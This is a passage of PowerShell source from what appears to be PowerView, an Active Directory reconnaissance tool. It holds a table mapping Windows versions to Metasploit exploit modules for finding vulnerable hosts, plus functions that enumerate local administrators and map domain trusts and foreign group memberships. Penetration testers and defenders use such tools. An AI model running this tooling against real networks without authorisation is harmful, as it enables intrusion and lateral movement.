$TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 2","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 3","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2000","Service Pack 4","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/iis/ms03_007_ntdll_webdav","http://www.cvedetails.com/cve/2003-0109") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows Server 2000","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Server Pack 1","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/dcerpc/ms07_029_msdns_zonename","http://www.cvedetails.com/cve/2007-1748") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2003","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows Server 2003 R2","","exploit/windows/wins/ms04_045_wins","http://www.cvedetails.com/cve/2004-1080/") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Server 2008","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Server 2008 R2","","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Server Pack 1","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows Vista","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows Vista","","exploit/windows/smb/ms09_050_smb2_negotiate_func_index","http://www.cvedetails.com/cve/2009-3103") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms04_011_lsass","http://www.cvedetails.com/cve/2003-0533/") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms05_039_pnp","http://www.cvedetails.com/cve/2005-1983") + $Null = $TableExploits.Rows.Add("Windows XP","Server Pack 1","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_066_nwapi","http://www.cvedetails.com/cve/2006-4688") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms06_070_wkssvc","http://www.cvedetails.com/cve/2006-4691") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 2","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + $Null = $TableExploits.Rows.Add("Windows XP","Service Pack 3","exploit/windows/smb/ms10_061_spoolss","http://www.cvedetails.com/cve/2010-2729") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms03_026_dcom","http://www.cvedetails.com/cve/2003-0352/") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/dcerpc/ms05_017_msmq","http://www.cvedetails.com/cve/2005-0059") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms06_040_netapi","http://www.cvedetails.com/cve/2006-3439") + $Null = $TableExploits.Rows.Add("Windows XP","","exploit/windows/smb/ms08_067_netapi","http://www.cvedetails.com/cve/2008-4250") + + # Status user + Write-Verbose "[*] Checking computers for vulnerable OS and SP levels..." + + # ---------------------------------------------------------------- + # Setup data table to store vulnerable systems + # ---------------------------------------------------------------- + + # Create data table to house vulnerable server list + $TableVulnComputers = New-Object System.Data.DataTable + $Null = $TableVulnComputers.Columns.Add('ComputerName') + $Null = $TableVulnComputers.Columns.Add('OperatingSystem') + $Null = $TableVulnComputers.Columns.Add('ServicePack') + $Null = $TableVulnComputers.Columns.Add('LastLogon') + $Null = $TableVulnComputers.Columns.Add('MsfModule') + $Null = $TableVulnComputers.Columns.Add('CVE') + + # Iterate through each exploit + $TableExploits | ForEach-Object { + + $ExploitOS = $_.OperatingSystem + $ExploitSP = $_.ServicePack + $ExploitMsf = $_.MsfModule + $ExploitCVE = $_.CVE + + # Iterate through each ADS computer + $TableAdsComputers | ForEach-Object { + + $AdsHostname = $_.Hostname + $AdsOS = $_.OperatingSystem + $AdsSP = $_.ServicePack + $AdsLast = $_.LastLogon + + # Add exploitable systems to vul computers data table + if ($AdsOS -like "$ExploitOS*" -and $AdsSP -like "$ExploitSP" ) { + # Add domain computer to data table + $Null = $TableVulnComputers.Rows.Add($AdsHostname,$AdsOS,$AdsSP,$AdsLast,$ExploitMsf,$ExploitCVE) + } + } + } + + # Display results + $VulnComputer = $TableVulnComputers | Select-Object ComputerName -Unique | Measure-Object + $VulnComputerCount = $VulnComputer.Count + if ($VulnComputer.Count -gt 0) { + # Return vulnerable server list order with some hack date casting + Write-Verbose "[+] Found $VulnComputerCount potentially vulnerable systems!" + $TableVulnComputers | Sort-Object { $_.lastlogon -as [datetime]} -Descending + } + else { + Write-Verbose "[-] No vulnerable systems were found." + } +} + + +function Invoke-EnumerateLocalAdmin { +<# + .SYNOPSIS + + This function queries the domain for all active machines with + Get-NetComputer, then for each server it queries the local + Administrators with Get-NetLocalGroup. + + Author: @harmj0y + License: BSD 3-Clause + + .PARAMETER ComputerName + + Host array to enumerate, passable on the pipeline. + + .PARAMETER ComputerFile + + File of hostnames/IPs to search. + + .PARAMETER ComputerFilter + + Host filter name to query AD for, wildcards accepted. + + .PARAMETER ComputerADSpath + + The LDAP source to search through for hosts, e.g. "LDAP://OU=secret,DC=testlab,DC=local" + Useful for OU queries. + + .PARAMETER NoPing + + Switch. Don't ping each host to ensure it's up before enumerating. + + .PARAMETER Delay + + Delay between enumerating hosts, defaults to 0 + + .PARAMETER Jitter + + Jitter for the host delay, defaults to +/- 0.3 + + .PARAMETER OutFile + + Output results to a specified csv output file. + + .PARAMETER NoClobber + + Switch. Don't overwrite any existing output file. + + .PARAMETER TrustGroups + + Switch. Only return results that are not part of the local machine + or the machine's domain. Old Invoke-EnumerateLocalTrustGroup + functionality. + + .PARAMETER Domain + + Domain to query for machines, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER SearchForest + + Switch. Search all domains in the forest for target users instead of just + a single domain. + + .PARAMETER Threads + + The maximum concurrent threads to execute. + + .EXAMPLE + + PS C:\> Invoke-EnumerateLocalAdmin + + Enumerates the members of local administrators for all machines + in the current domain. + + .EXAMPLE + + PS C:\> Invoke-EnumerateLocalAdmin -Threads 10 + + Threaded local admin enumeration, replaces Invoke-EnumerateLocalAdminThreaded + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [Alias('Hosts')] + [String[]] + $ComputerName, + + [ValidateScript({Test-Path -Path $_ })] + [Alias('HostList')] + [String] + $ComputerFile, + + [String] + $ComputerFilter, + + [String] + $ComputerADSpath, + + [Switch] + $NoPing, + + [UInt32] + $Delay = 0, + + [Double] + $Jitter = .3, + + [String] + $OutFile, + + [Switch] + $NoClobber, + + [Switch] + $TrustGroups, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $SearchForest, + + [ValidateRange(1,100)] + [Int] + $Threads + ) + + begin { + if ($PSBoundParameters['Debug']) { + $DebugPreference = 'Continue' + } + + # random object for delay + $RandNo = New-Object System.Random + + Write-Verbose "[*] Running Invoke-EnumerateLocalAdmin with delay of $Delay" + + if(!$ComputerName) { + + if($Domain) { + $TargetDomains = @($Domain) + } + elseif($SearchForest) { + # get ALL the domains in the forest to search + $TargetDomains = Get-NetForestDomain | ForEach-Object { $_.Name } + } + else { + # use the local domain + $TargetDomains = @( (Get-NetDomain).name ) + } + + # if we're using a host list, read the targets in and add them to the target list + if($ComputerFile) { + $ComputerName = Get-Content -Path $ComputerFile + } + else { + [array]$ComputerName = @() + ForEach ($Domain in $TargetDomains) { + Write-Verbose "[*] Querying domain $Domain for hosts" + $ComputerName += Get-NetComputer -Filter $ComputerFilter -ADSpath $ComputerADSpath -Domain $Domain -DomainController $DomainController + } + } + + # remove any null target hosts, uniquify the list and shuffle it + $ComputerName = $ComputerName | Where-Object { $_ } | Sort-Object -Unique | Sort-Object { Get-Random } + if($($ComputerName.Count) -eq 0) { + throw "No hosts found!" + } + } + + # delete any existing output file if it already exists + if(!$NoClobber) { + if ($OutFile -and (Test-Path -Path $OutFile)) { Remove-Item -Path $OutFile } + } + + if($TrustGroups) { + + Write-Verbose "Determining domain trust groups" + + # find all group names that have one or more users in another domain + $TrustGroupNames = Find-ForeignGroup -Domain $Domain -DomainController $DomainController | ForEach-Object { $_.GroupName } | Sort-Object -Unique + + $TrustGroupsSIDs = $TrustGroupNames | ForEach-Object { + # ignore the builtin administrators group for a DC (S-1-5-32-544) + # TODO: ignore all default built in sids? + Get-NetGroup -Domain $Domain -DomainController $DomainController -GroupName $_ -FullData | Where-Object { $_.objectsid -notmatch "S-1-5-32-544" } | ForEach-Object { $_.objectsid } + } + + # query for the primary domain controller so we can extract the domain SID for filtering + $DomainSID = Get-DomainSID -Domain $Domain + } + + # script block that enumerates a server + $HostEnumBlock = { + param($ComputerName, $Ping, $OutFile, $DomainSID, $TrustGroupsSIDs) + + # optionally check if the server is up first + $Up = $True + if($Ping) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $ComputerName + } + if($Up) { + # grab the users for the local admins on this server + $LocalAdmins = Get-NetLocalGroup -ComputerName $ComputerName + + # if we just want to return cross-trust users + if($DomainSID -and $TrustGroupSIDS) { + # get the local machine SID + $LocalSID = ($LocalAdmins | Where-Object { $_.SID -match '.*-500$' }).SID -replace "-500$" + + # filter out accounts that begin with the machine SID and domain SID + # but preserve any groups that have users across a trust ($TrustGroupSIDS) + $LocalAdmins = $LocalAdmins | Where-Object { ($TrustGroupsSIDs -contains $_.SID) -or ((-not $_.SID.startsWith($LocalSID)) -and (-not $_.SID.startsWith($DomainSID))) } + } + + if($LocalAdmins -and ($LocalAdmins.Length -ne 0)) { + # output the results to a csv if specified + if($OutFile) { + $LocalAdmins | Export-PowerViewCSV -OutFile $OutFile + } + else { + # otherwise return the user objects + $LocalAdmins + } + } + else { + Write-Verbose "[!] No users returned from $Server" + } + } + } + + } + + process { + + if($Threads) { + Write-Verbose "Using threading with threads = $Threads" + + # if we're using threading, kick off the script block with Invoke-ThreadedFunction + $ScriptParams = @{ + 'Ping' = $(-not $NoPing) + 'OutFile' = $OutFile + 'DomainSID' = $DomainSID + 'TrustGroupsSIDs' = $TrustGroupsSIDs + } + + # kick off the threaded script block + arguments + Invoke-ThreadedFunction -ComputerName $ComputerName -ScriptBlock $HostEnumBlock -ScriptParameters $ScriptParams + } + + else { + if(-not $NoPing -and ($ComputerName.count -ne 1)) { + # ping all hosts in parallel + $Ping = {param($ComputerName) if(Test-Connection -ComputerName $ComputerName -Count 1 -Quiet -ErrorAction Stop){$ComputerName}} + $ComputerName = Invoke-ThreadedFunction -NoImports -ComputerName $ComputerName -ScriptBlock $Ping -Threads 100 + } + + Write-Verbose "[*] Total number of active hosts: $($ComputerName.count)" + $Counter = 0 + + ForEach ($Computer in $ComputerName) { + + $Counter = $Counter + 1 + + # sleep for our semi-randomized interval + Start-Sleep -Seconds $RandNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) + + Write-Verbose "[*] Enumerating server $Computer ($Counter of $($ComputerName.count))" + Invoke-Command -ScriptBlock $HostEnumBlock -ArgumentList $Computer, $False, $OutFile, $DomainSID, $TrustGroupsSIDs + } + } + } +} + + +######################################################## +# +# Domain trust functions below. +# +######################################################## + +function Get-NetDomainTrust { +<# + .SYNOPSIS + + Return all domain trusts for the current domain or + a specified domain. + + .PARAMETER Domain + + The domain whose trusts to enumerate, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust + + Return domain trusts for the current domain. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain. + + .EXAMPLE + + PS C:\> Get-NetDomainTrust -Domain "prod.testlab.local" -DomainController "PRIMARY.testlab.local" + + Return domain trusts for the "prod.testlab.local" domain, reflecting + queries through the "Primary.testlab.local" domain controller +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Domain = (Get-NetDomain).Name, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + process { + if($LDAP -or $DomainController) { + + $TrustSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -PageSize $PageSize + + if($TrustSearcher) { + + $TrustSearcher.filter = '(&(objectClass=trustedDomain))' + + $TrustSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + $Props = $_.Properties + $DomainTrust = New-Object PSObject + $TrustAttrib = Switch ($Props.trustattributes) + { + 0x001 { "non_transitive" } + 0x002 { "uplevel_only" } + 0x004 { "quarantined_domain" } + 0x008 { "forest_transitive" } + 0x010 { "cross_organization" } + 0x020 { "within_forest" } + 0x040 { "treat_as_external" } + 0x080 { "trust_uses_rc4_encryption" } + 0x100 { "trust_uses_aes_keys" } + Default { + Write-Warning "Unknown trust attribute: $($Props.trustattributes)"; + "$($Props.trustattributes)"; + } + } + $Direction = Switch ($Props.trustdirection) { + 0 { "Disabled" } + 1 { "Inbound" } + 2 { "Outbound" } + 3 { "Bidirectional" } + } + $ObjectGuid = New-Object Guid @(,$Props.objectguid[0]) + $DomainTrust | Add-Member Noteproperty 'SourceName' $Domain + $DomainTrust | Add-Member Noteproperty 'TargetName' $Props.name[0] + $DomainTrust | Add-Member Noteproperty 'ObjectGuid' "{$ObjectGuid}" + $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustAttrib" + $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$Direction" + $DomainTrust + } + } + } + + else { + # if we're using direct domain connections + $FoundDomain = Get-NetDomain -Domain $Domain + + if($FoundDomain) { + (Get-NetDomain -Domain $Domain).GetAllTrustRelationships() + } + } + } +} + + +function Get-NetForestTrust { +<# + .SYNOPSIS + + Return all trusts for the current forest. + + .PARAMETER Forest + + Return trusts for the specified forest. + + .EXAMPLE + + PS C:\> Get-NetForestTrust + + Return current forest trusts. + + .EXAMPLE + + PS C:\> Get-NetForestTrust -Forest "test" + + Return trusts for the "test" forest. +#> + + [CmdletBinding()] + param( + [Parameter(Position=0,ValueFromPipeline=$True)] + [String] + $Forest + ) + + process { + $FoundForest = Get-NetForest -Forest $Forest + if($FoundForest) { + $FoundForest.GetAllTrustRelationships() + } + } +} + + +function Find-ForeignUser { +<# + .SYNOPSIS + + Enumerates users who are in groups outside of their + principal domain. The -Recurse option will try to map all + transitive domain trust relationships and enumerate all + users who are in groups outside of their principal domain. + + .PARAMETER UserName + + Username to filter results for, wildcards accepted. + + .PARAMETER Domain + + Domain to query for users, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all user trust groups from all reachable domains recursively. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Switch] + $Recurse, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-ForeignUser { + # helper used to enumerate users who are in groups outside of their principal domain + param( + [String] + $UserName, + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if ($Domain) { + # get the domain name into distinguished form + $DistinguishedDomainName = "DC=" + $Domain -replace '\.',',DC=' + } + else { + $DistinguishedDomainName = [String] ([adsi]'').distinguishedname + $Domain = $DistinguishedDomainName -replace 'DC=','' -replace ',','.' + } + + Get-NetUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize | Where-Object {$_.memberof} | ForEach-Object { + ForEach ($Membership in $_.memberof) { + $Index = $Membership.IndexOf("DC=") + if($Index) { + + $GroupDomain = $($Membership.substring($Index)) -replace 'DC=','' -replace ',','.' + + if ($GroupDomain.CompareTo($Domain)) { + # if the group domain doesn't match the user domain, output + $GroupName = $Membership.split(",")[0].split("=")[1] + $ForeignUser = New-Object PSObject + $ForeignUser | Add-Member Noteproperty 'UserDomain' $Domain + $ForeignUser | Add-Member Noteproperty 'UserName' $_.samaccountname + $ForeignUser | Add-Member Noteproperty 'GroupDomain' $GroupDomain + $ForeignUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignUser | Add-Member Noteproperty 'GroupDN' $Membership + $ForeignUser + } + } + } + } + } + + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + else { + $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignUser -Domain $DomainTrust -UserName $UserName -PageSize $PageSize + } + } + else { + Get-ForeignUser -Domain $Domain -DomainController $DomainController -UserName $UserName -PageSize $PageSize + } +} + + +function Find-ForeignGroup { +<# + .SYNOPSIS + + Enumerates all the members of a given domain's groups + and finds users that are not in the queried domain. + The -Recurse flag will perform this enumeration for all + eachable domain trusts. + + .PARAMETER GroupName + + Groupname to filter results for, wildcards accepted. + + .PARAMETER Domain + + Domain to query for groups, defaults to the current domain. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER Recurse + + Switch. Enumerate all group trust users from all reachable domains recursively. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .LINK + + http://blog.harmj0y.net/ +#> + + [CmdletBinding()] + param( + [String] + $GroupName = '*', + + [String] + $Domain, + + [String] + $DomainController, + + [Switch] + $LDAP, + + [Switch] + $Recurse, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + function Get-ForeignGroup { + param( + [String] + $GroupName = '*', + + [String] + $Domain, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + if(-not $Domain) { + $Domain = (Get-NetDomain).Name + } + + $DomainDN = "DC=$($Domain.Replace('.', ',DC='))" + Write-Verbose "DomainDN: $DomainDN" + + # standard group names to ignore + $ExcludeGroups = @("Users", "Domain Users", "Guests") + + # get all the groupnames for the given domain + Get-NetGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -FullData -PageSize $PageSize | Where-Object {$_.member} | Where-Object { + # exclude common large groups + -not ($ExcludeGroups -contains $_.samaccountname) } | ForEach-Object { + + $GroupName = $_.samAccountName + + $_.member | ForEach-Object { + # filter for foreign SIDs in the cn field for users in another domain, + # or if the DN doesn't end with the proper DN for the queried domain + if (($_ -match 'CN=S-1-5-21.*-.*') -or ($DomainDN -ne ($_.substring($_.IndexOf("DC="))))) { + + $UserDomain = $_.subString($_.IndexOf("DC=")) -replace 'DC=','' -replace ',','.' + $UserName = $_.split(",")[0].split("=")[1] + + $ForeignGroupUser = New-Object PSObject + $ForeignGroupUser | Add-Member Noteproperty 'GroupDomain' $Domain + $ForeignGroupUser | Add-Member Noteproperty 'GroupName' $GroupName + $ForeignGroupUser | Add-Member Noteproperty 'UserDomain' $UserDomain + $ForeignGroupUser | Add-Member Noteproperty 'UserName' $UserName + $ForeignGroupUser | Add-Member Noteproperty 'UserDN' $_ + $ForeignGroupUser + } + } + } + } + + if ($Recurse) { + # get all rechable domains in the trust mesh and uniquify them + if($LDAP -or $DomainController) { + $DomainTrusts = Invoke-MapDomainTrust -LDAP -DomainController $DomainController -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + else { + $DomainTrusts = Invoke-MapDomainTrust -PageSize $PageSize | ForEach-Object { $_.SourceDomain } | Sort-Object -Unique + } + + ForEach($DomainTrust in $DomainTrusts) { + # get the trust groups for each domain in the trust mesh + Write-Verbose "Enumerating trust groups in domain $DomainTrust" + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } + } + else { + Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize + } +} + + +function Invoke-MapDomainTrust { +<# + .SYNOPSIS + + This function gets all trusts for the current domain, + and tries to get all trusts for each domain it finds. + + .PARAMETER LDAP + + Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections. + More likely to get around network segmentation, but not as accurate. + + .PARAMETER DomainController + + Domain controller to reflect LDAP queries through. + + .PARAMETER PageSize + + The PageSize to set for the LDAP searcher object. + + .EXAMPLE + + PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv + + Map all reachable domain trusts and output everything to a .csv file. + + .LINK + + http://blog.harmj0y.net/ +#> + [CmdletBinding()] + param( + [Switch] + $LDAP, + + [String] + $DomainController, + + [ValidateRange(1,10000)] + [Int] + $PageSize = 200 + ) + + # keep track of domains seen so we don't hit infinite recursion + $SeenDomains = @{} + + # our domain status tracker + $Domains = New-Object System.Collections.Stack + + # get the current domain and push it onto the stack + $CurrentDomain = (Get-NetDomain).Name + $Domains.push($CurrentDomain) + + while($Domains.Count -ne 0) { + + $Domain = $Domains.Pop() + + # if we haven't seen this domain before + if (-not $SeenDomains.ContainsKey($Domain)) { + + Write-Verbose "Enumerating trusts for domain '$Domain'" + + # mark it as seen in our list + $Null = $SeenDomains.add($Domain, "") + + try { + # get all the trusts for this domain + if($LDAP -or $DomainController) { + $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize + } + else { + $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize + } + + if($Trusts -isnot [system.array]) { + $Trusts = @($Trusts) + } + + # get any forest trusts, if they exist + $Trusts += Get-NetForestTrust -Forest $Domain + + if ($Trusts) { + + # enumerate each trust found + ForEach ($Trust in $Trusts) { + $SourceDomain = $Trust.SourceName + $TargetDomain = $Trust.TargetName + $TrustType = $Trust.TrustType + $TrustDirection = $Trust.TrustDirection + + # make sure we process the target + $Null = $Domains.push($TargetDomain) + + # build the nicely-parsable custom output object + $DomainTrust = New-Object PSObject + 